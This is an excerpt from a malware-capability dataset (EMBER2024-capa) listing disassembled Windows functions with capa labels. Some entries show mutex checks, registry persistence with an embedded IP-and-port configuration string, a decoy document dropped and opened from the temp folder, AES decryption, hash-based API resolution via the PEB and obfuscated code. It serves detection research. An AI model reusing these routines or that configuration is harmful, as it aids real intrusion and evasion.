joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003070
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000309d
xor eax, eax
jmp 0x140003209
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400030d7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400030d7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140003209
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400031fc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000311a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003145
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003201
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400031b4
sub eax, 1
je 0x1400031b4
cmp eax, 2
jne 0x1400031fc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003201
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400031e2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400031fc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140003201
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004660
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400035d0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400036a3
cmp byte [rcx + 0x71], 0
je 0x1400036a3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000369f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003664
sub eax, 1
je 0x140003668
cmp eax, 2
jne 0x14000369f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004660
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003696
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000369f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000364c
xor al, al
jmp 0x14000364c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004660
add rsp, 0x60
pop rbx
ret
Function at 0x140004460
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400044c1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140004480
mov ecx, dword [r9]
jmp 0x1400045ab
cmp ecx, 0x4e0
jb 0x1400045ab
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x1400044e0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140004530
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140004fe0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000502a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000502a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000502a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000502a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000502a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000502c
xor al, al
add rsp, 0x28
ret
Function at 0x140130000
Capabilities:
Hash data using fnv

Disassembly:
xchg r8, r9
mov qword [rsp + 0x20], r8
adc byte [rdi - 0x3f], 0xd5
mov edi, 0xf6c7800f
invalid
add cl, al
mov byte [rbp + rdx - 0x44], cl
mov byte [rsp + rdx + 0x78], r13b
inc rdx
cmp rdx, 0x43
jmp 0x1401314b8
xchg r13, rax
mov dword [rbp - 0x34], 0x596f7873
mov dword [rbp - 0x74], 0xf6f6f6f6
mov dword [rbp - 0x40], 0x582a4f5d
mov dword [rbp - 0x80], 0xf6f6f6f6
mov dword [rbp - 0x3c], 0x444f5e59
mov dword [rbp - 0x7c], 0xf6f6f6f6
mov dword [rbp - 0x38], 0x71784f2a
mov dword [rbp - 0x78], 0xf6f6f6f6
jmp 0x140131067
div dh
test bh, 0x45
enter 0x4f2a, 0x78
jno 0x1401310a0
lea rax, [r9 + r10*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
jmp 0x140131253
mov dword [rbp - 0x10], 0x7371786f
mov dword [rbp - 0x50], 0xf6f6f6f6
mov dword [rbp - 0xc], 0x81796f78
mov dword [rbp - 0x4c], 0xf6f6f6f6
jmp 0x140131416
rol ebx, 1
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbp + rdx - 0x44]
movzx ecx, byte [rsp + rdx + 0x78]
jmp 0x140130fff
mov dword [rbp - 0x5c], 0xf6f6f6f6
mov dword [rbp - 0x18], 0x13141478
mov dword [rbp - 0x58], 0xf6f6f6f6
mov dword [rbp - 0x14], 0x38818181
mov dword [rbp - 0x54], 0xf6f6f6f6
jmp 0x140131114
mov dword [rsp + 0x78], 0xf6f6f6f6
xchg rdx, r10
mov r10, r13
jne 0x140131216
je 0x140131216
cmp r14d, 0x63917598
popf
popf
jmp 0x140131f78
jmp 0x14013123c
xchg r10, rdx
mov dword [rbp - 0x44], 0x4b4f565a
mov dword [rsp + 0x7c], 0xf6f6f6f6
jmp 0x1401310b5
inc rcx
test al, al
je 0x140131040
mov byte [rsp + rdx + 0x68], cl
mov byte [rsp + rdx + 0x58], r13b
inc rdx
cmp rdx, 0xf
jb 0x140131544
je 0x1401312c9
jne 0x1401312c9
popf
div r14
inc r11
movabs r9, 0x607677ffffff0be9
je 0x140131194
jmp 0x1401311d9
ret
mov dword [rbp - 0x24], 0x6b806b2a
mov dword [rbp - 0x64], 0xf6f6f6f6
mov dword [rbp - 0x20], 0x6c6b7673
mov dword [rbp - 0x60], 0xf6f6f6f6
mov dword [rbp - 0x1c], 0x792a6f76
je 0x14013132e
jne 0x14013132e
jmp 0x1401311b1
mov rdx, qword [rcx + 0x10]
xchg rdx, rax
mov rcx, qword [rax]
mov r9, qword [rcx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
mov r11d, dword [rbx + r9 + 0x20]
jmp 0x1401314d7
lea rdi, [0x140000000]
movsxd r15, dword [0x14000003c]
mov r8d, r13d
add r15, rdi
xchg rdi, rcx
jne 0x1401313ea
je 0x1401313ea
call fcn.140131336
jmp 0x14013151e
mov dword [rbp - 8], 0x71787378
mov word [rbp - 0x48], 0xf6f6
invalid
cld
Function at 0x140001fa8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ff2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ff2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ff2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ff2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ff2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ff4
xor al, al
add rsp, 0x28
ret
Function at 0x1400028e8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x140002910
xor eax, eax
jmp 0x140002a32
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000294a
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x14000294a
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, esi
mov byte [rdx], sil
jmp 0x140002a32
cmp qword [rbx + 0x80], 0
je 0x140002a30
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002985
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400029a8
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.14000a190
cmp eax, edi
cmovne edi, esi
jmp 0x140002a30
lea r8, [rbp + 0x30]
mov byte [rbp - 0x30], sil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp - 0x2f]
lea r8, [rbp - 8]
mov qword [rsp + 0x30], r8
lea r8, [rbp - 0x28]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x38]
mov qword [rsp + 0x20], r8
lea r8, [rbp - 0x30]
call qword [rax + 0x38]
test eax, eax
js 0x140002a30
cmp eax, 1
jle 0x1400029f6
cmp eax, 3
jne 0x140002a30
movsx ecx, byte [rbp - 0x30]
jmp 0x140002992
mov r14, qword [rbp + 0x30]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x140002a20
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call fcn.14000ce5c
cmp r14, rax
jne 0x140002a30
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp + 0x38], rax
mov eax, esi
jne 0x140002a32
mov eax, edi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x1400030d4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000316d
cmp byte [rcx + 0x71], 0
je 0x14000316d
or edx, 0xffffffff
call fcn.1400028e8
cmp eax, 0xffffffff
je 0x14000312f
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x140003133
sub eax, 1
je 0x140003137
sub eax, 2
je 0x14000316d
xor al, al
jmp 0x14000316f
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x140003164
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call fcn.14000ce5c
cmp rdi, rax
jne 0x14000312f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000316f
mov al, 1
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140003d08
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
sub rsp, 0x28
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x140003d43
lea r8, str.TEST
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
je 0x140003d43
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140003d43
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400044f0
int3

Function at 0x140003d4c
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.140007fb0
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, byte [0x1400385c8]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov byte [rsp + 0x48], al
xor r8d, r8d
movzx eax, word [0x1400385d8]
mov rcx, 0xffffffff80000001
mov word [rsp + 0x38], ax
mov al, byte [0x1400385da]
mov byte [rsp + 0x3a], al
lea rax, [rbp + 0x70]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor ebx, ebx
test eax, eax
jne 0x140003e78
mov rcx, qword [rbp + 0x70]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
lea r9d, [rbx + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:103.150.54.139p:5689
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x140003e42
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rbp
ret
Function at 0x140003e8c
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, reloc.SHELL32.dll_IsUserAnAdmin
sub rsp, 0x3a0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, 0x104
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x190]
call fcn.140007fb0
lea rdx, [rbp + 0x190]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x14000403c
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x80]
call fcn.140007fb0
lea r9, str.dome.doc
lea r8, [rbp + 0x190]
lea rdx, str._s_s
lea rcx, [rbp + 0x80]
call fcn.140004490
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140001c00
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001cf8
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 4]
mov ebx, dword [rbp + rax - 0x80]
lea rcx, [rbp + 0x20]
call fcn.140001c78
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x20]
call fcn.140004e64
nop
test ebx, ebx
jne 0x140003f7d
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
and qword [rsp + 0x30], 0
mov eax, 2
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140004003
mov r8, rdi
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140007fb0
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
cmp rax, 0x20
jbe 0x140003fe9
mov edx, 5
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x140004003
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Open_The_Document_Fail
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000403c
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004037
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004051
call fcn.1400060ec
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.14000da58
int3
Function at 0x140004058
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rbx, rcx
mov dword [rbp - 0x20], 0x6e0e0
lea rcx, [rbp + 0x20]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140004142
mov rcx, qword [rbp + 0x20]
lea rax, [rbp - 0x18]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140004142
mov rcx, qword [rbp - 0x18]
lea rdx, [0x1400c4d00]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140004142
mov r8, qword [rbp - 0x18]
lea rax, [rbp - 0x10]
mov rcx, qword [rbp + 0x20]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140004142
mov rcx, qword [rbp - 0x10]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140004142
mov rcx, qword [rbp + 0x20]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140004150
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rax, qword gs:[0x30]
xor ebx, ebx
xor r9d, r9d
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdx, qword [rax]
mov r10, qword [rdx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov edx, dword [rax + r10 + 0x88]
add rdx, r10
mov eax, dword [rdx + 0x14]
mov r14d, dword [rdx + 0x1c]
mov r13d, dword [rdx + 0x20]
add r14, r10
mov r12d, dword [rdx + 0x24]
add r13, r10
mov r8d, dword [rdx + 0x18]
add r12, r10
mov dword [rsp + 0x48], r8d
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140004236
movzx ecx, word [0x1400385bc]
cmp dword [r14 + r9*4], 0
je 0x14000422e
mov ebp, r8d
xor r8d, r8d
test rbp, rbp
je 0x140004229
movzx esi, word [r12 + r8*2]
cmp rsi, r9
jne 0x14000421c
mov r11d, dword [r13 + r8*4]
add r11, r10
xor edi, edi
jmp 0x140004207
mov edx, edi
mov eax, edi
shl eax, 0x19
shr edx, cl
mov edi, edx
or edi, eax
movsx eax, r15b
add edi, eax
inc r11
mov r15b, byte [r11]
test r15b, r15b
jne 0x1400041f1
cmp edi, dword [rsp + 0x40]
jne 0x14000421c
mov ebx, dword [r14 + rsi*4]
add rbx, r10
inc r8
cmp r8, rbp
jb 0x1400041db
mov rax, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x48]
inc r9
cmp r9, rax
jb 0x1400041c9
mov rax, rbx
mov rbx, qword [rsp + 0x58]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400123ac
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400121d8
Function at 0x140002a88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002ad2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002ad2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002ad2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002ad2
cmp dword [rcx + 0x84], 0xe
jbe 0x140002ad2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002ad4
xor al, al
add rsp, 0x28
ret
Function at 0x180002600
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a94], 0xa
jl 0x180002632
mov eax, dword [0x180020a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002632
nop word cs:[rax + rax]
nop
jmp 0x180002630
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
mov r8, qword [r11 + 0x10]
add r11, 0x10
cmp r8, r11
je 0x180002692
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r9b
cmp dword [0x180020a7c], 0xa
jl 0x180002699
mov edx, dword [0x180020a80]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x180002699
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180002690
xor eax, eax
jmp 0x180002726
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov rdx, r10
nop word cs:[rax + rax]
nop
cmp byte [rdx + 1], 0
lea rdx, [rdx + 1]
jne 0x1800026b0
test r9b, r9b
je 0x180002720
sub rdx, rcx
je 0x180002722
mov r14, qword [r8 + 0x60]
xor edi, edi
nop word [rax + rax]
movzx ebx, word [r14 + rdi*2]
movsx r12d, byte [rcx + rdi]
lea r15d, [rbx - 0x41]
lea ebp, [rbx + 0x20]
cmp r15w, 0x1a
cmovae ebp, ebx
lea r15d, [r12 - 0x41]
lea esi, [r12 + 0x20]
cmp r15b, 0x1a
cmovae esi, r12d
cmp ebp, esi
jne 0x18000270f
test bx, bx
je 0x180002722
add rdi, 1
cmp rdx, rdi
jne 0x1800026d0
jmp 0x180002722
mov r8, qword [r8]
cmp r8, r11
jne 0x1800026a2
jmp 0x180002726
jmp 0x180002720
mov rax, qword [r8 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x180002a20
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a94], 0xa
jl 0x180002a52
mov eax, dword [0x180020a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002a52
nop word cs:[rax + rax]
jmp 0x180002a50
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a7c], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x180002b28
mov rsi, r10
test r8b, r8b
je 0x180002b40
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x180002ac0
test r9b, r9b
je 0x180002b50
sub rsi, rcx
je 0x180002b24
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180002b20
test ebp, ebp
jne 0x180002b20
add rbx, 1
cmp rsi, rbx
jne 0x180002ae0
jmp 0x180002b24
